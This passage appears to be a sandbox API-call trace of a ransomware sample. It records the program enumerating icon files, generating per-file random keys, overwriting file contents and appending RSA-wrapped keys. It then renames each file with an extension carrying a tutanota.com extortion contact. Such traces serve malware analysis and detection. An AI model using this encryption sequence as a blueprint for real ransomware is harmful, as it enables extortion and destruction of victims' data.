RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0142.427] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0142.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0142.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0142.427] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0142.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7018 [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0142.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7018 | out: hHeap=0x570000) returned 1 [0142.427] GetLastError () returned 0x0 [0142.427] SetLastError (dwErrCode=0x0) [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0142.428] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0142.428] GetLastError () returned 0x0 [0142.428] SetLastError (dwErrCode=0x0) [0142.428] GetLastError () returned 0x0 [0142.428] SetLastError (dwErrCode=0x0) [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0142.428] GetLastError () returned 0x0 [0142.428] SetLastError (dwErrCode=0x0) [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0142.428] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0142.428] GetLastError () returned 0x0 [0142.428] SetLastError (dwErrCode=0x0) [0142.428] GetLastError () returned 0x0 [0142.428] SetLastError (dwErrCode=0x0) [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7278 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0142.428] GetLastError () returned 0x0 [0142.428] SetLastError (dwErrCode=0x0) [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0142.428] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7278 | out: hHeap=0x570000) returned 1 [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0142.428] GetLastError () returned 0x0 [0142.428] SetLastError (dwErrCode=0x0) [0142.428] GetLastError () returned 0x0 [0142.428] SetLastError (dwErrCode=0x0) [0142.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0142.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0142.429] GetLastError () returned 0x0 [0142.429] SetLastError (dwErrCode=0x0) [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b69e8 [0142.429] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SysReqNotMet.ico", cAlternateFileName="SYSREQ~2.ICO")) returned 1 [0142.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6f48 | out: hHeap=0x570000) returned 1 [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c6fd0 [0142.429] GetLastError () returned 0x0 [0142.429] SetLastError (dwErrCode=0x0) [0142.429] GetLastError () returned 0x0 [0142.429] SetLastError (dwErrCode=0x0) [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0142.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0142.429] GetLastError () returned 0x0 [0142.429] SetLastError (dwErrCode=0x0) [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ee78 [0142.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee78 | out: hHeap=0x570000) returned 1 [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0142.429] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="warn.ico", cAlternateFileName="")) returned 1 [0142.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0142.429] GetLastError () returned 0x0 [0142.429] SetLastError (dwErrCode=0x0) [0142.429] GetLastError () returned 0x0 [0142.429] SetLastError (dwErrCode=0x0) [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0142.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0142.429] GetLastError () returned 0x0 [0142.429] SetLastError (dwErrCode=0x0) [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee18 [0142.429] FindNextFileW (in: hFindFile=0x5b5630, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="warn.ico", cAlternateFileName="")) returned 0 [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bee70 [0142.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.429] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.429] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\warn.ico", dwFileAttributes=0x80) returned 1 [0142.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0142.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0142.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0142.430] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.430] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=10134) returned 1 [0142.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2796) returned 0x60d870 [0142.430] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2796) returned 0x610010 [0142.430] ReadFile (in: hFile=0x4f0, lpBuffer=0x60d870, nNumberOfBytesToRead=0x2796, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesRead=0x2e3f9b4*=0x2796, lpOverlapped=0x0) returned 1 [0142.443] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-10134, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.443] WriteFile (in: hFile=0x4f0, lpBuffer=0x610010*, nNumberOfBytesToWrite=0x2796, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x610010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2796, lpOverlapped=0x0) returned 1 [0142.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.443] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x610010 | out: hHeap=0x570000) returned 1 [0142.443] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2796 [0142.443] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.443] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.444] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.444] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.444] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.444] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.444] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="RtTgOlEAUwloN72CmggVQub3zPj96i8JhRwjcjx5VcwnbUqKJnriJ369rMid2Zjr\np8EFs8H0wIlMUFFMiCpLR1EFFuXVZElGfRGUModfgfOGNJbYEUnq78016iNoF4da\nBwsk65DwUt/aFH+DYFVxlmxATiOLZPkHO7SwLi4YA1v8+XSpx+Aqca8409U8Cq1h\nWxN2g6Txm7XTJ+tgjkozFaAwE0YFaD9YwS/Vno6GQ0aNpYPiuYftI8AkVFJ2gMZj\ne6pBG9JJvNshoKxMtPB+Etn3/4fYPWmSm03jTb17bQwbMSx2qJBkZ8SSLUhQQIO+\nIzWVA6SayJTAgZJeAICuog==\n", pcchString=0x2e3f9a8) returned 1 [0142.444] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.444] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.444] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.444] CloseHandle (hObject=0x4f0) returned 1 [0142.444] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.444] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\warn.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.445] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.445] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0142.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0142.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6778 [0142.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.446] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.446] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico", dwFileAttributes=0x80) returned 1 [0142.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6570 [0142.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0142.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0142.446] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.446] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1150) returned 1 [0142.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47e) returned 0x5b5a90 [0142.446] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47e) returned 0x60d870 [0142.446] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x47e, lpOverlapped=0x0) returned 1 [0142.447] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-1150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.447] WriteFile (in: hFile=0x4f0, lpBuffer=0x60d870*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60d870*, lpNumberOfBytesWritten=0x2e3f9b4*=0x47e, lpOverlapped=0x0) returned 1 [0142.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.448] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60d870 | out: hHeap=0x570000) returned 1 [0142.448] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x47e [0142.448] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.448] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.448] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0142.448] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0142.448] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0142.448] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0142.448] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="paRDuljFd8Dc24mkwvLhzlqfVQheQHka2s3AqzWcvt5BTAVIAvhASQa9iJrLrvbO\nLumjmqBhtMz63kWnE+DJJRrC3cQJ+lYMiMaPowhdCDLAn4xPVLgGQfUKdllj+3FI\nQYhUl0TsPhw2yucqFJpuMTGzZhc9k1sjIsediqP5Sq/M6t67MDPYDYqyx95qDXQh\nMjLJoP7AhuqHVYQWmAkD6W0nV7NYNzB3LULFzaIzvaaCis4iXRvVa858omdvjnoZ\nSk3R1AfBckTWx3zMNWRDlJawFPZbSo03nBAWOv4m9vsFoNg7K34147lvHUPJt/Ur\n5OpJ5JV4QNaIdlEzeQAqfQ==\n", pcchString=0x2e3f9a8) returned 1 [0142.448] WriteFile (in: hFile=0x4f0, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0142.448] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.448] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.448] CloseHandle (hObject=0x4f0) returned 1 [0142.449] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.449] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico"), lpNewFileName="\\588bce7c90097ed212\\Graphics\\SysReqNotMet.ico.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqnotmet.ico.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0142.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0142.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0142.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6778 | out: hHeap=0x570000) returned 1 [0142.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0142.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0142.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0142.450] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0142.450] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\Graphics\\SysReqMet.ico", dwFileAttributes=0x80) returned 1 [0142.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6508 [0142.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0142.450] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6508 | out: hHeap=0x570000) returned 1 [0142.450] CreateFileW (lpFileName="\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f0 [0142.450] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1150) returned 1 [0142.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47e) returned 0x5b5a90 [0142.450] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x47e) returned 0x60e878 [0142.450] ReadFile (in: hFile=0x4f0, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x47e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x47e, lpOverlapped=0x0) returned 1 [0142.505] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=-1150, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.505] WriteFile (in: hFile=0x4f0, lpBuffer=0x60e878*, nNumberOfBytesToWrite=0x47e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x60e878*, lpNumberOfBytesWritten=0x2e3f9b4*=0x47e, lpOverlapped=0x0) returned 1 [0142.505] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0142.505] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x60e878 | out: hHeap=0x570000) returned 1 [0142.505] SetFilePointer (in: hFile=0x4f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x47e [0142.505] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0142.506] WriteFile (in: hFile=0x4f0, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0142.506] CryptEncrypt (in: 